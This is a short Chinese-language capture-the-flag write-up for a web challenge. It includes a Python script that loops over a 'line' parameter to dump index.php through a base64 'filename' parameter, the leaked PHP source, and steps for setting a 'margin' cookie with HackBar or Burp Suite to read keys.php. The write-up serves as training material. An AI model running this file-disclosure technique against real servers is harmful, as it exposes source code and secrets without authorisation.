首先抬头看url发现有点儿类似sql注入,结尾base64解码后发现是key.txt于是根据经验先试一试如果是index.php会怎么样,前面的line=显然也可以传参数进去,于是写一个脚本如下:
import requests
import base64
r = requests.session()
for i in range(30):
url="http://123.206.87.240:8002/web11/index.php?line="+str(i)+"&filename=aW5kZXgucGhw"
s = r.get(url)
print(s.text)
运行得到:
<?php
error_reporting(0);
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");
$file_list = array(
'0' =>'keys.txt',
'1' =>'index.php',
);
if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){
$file_list[2]='keys.php';
}
if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];
}
?>
可以看到需要cookie传参margin=margin的时候文件列表第二项为keys.php,意即才能访问keys.php。
有两种方法传cookies:
- 法一 浏览器法
首先要安装免费版hackbar安装(平替maxhackBar没找到cookies选项)安装方式点这里
这样使用hackbar输入http://123.206.87.240:8002/web11/index.php?line=&filename=a2V5cy5waHA=(a2V5cy5waHA=几位keys.php):
- 法二 burpsuite传cookies
先抓包然后添加参数cookies再发包:
这是修改前抓到的包
修改后:GO即得key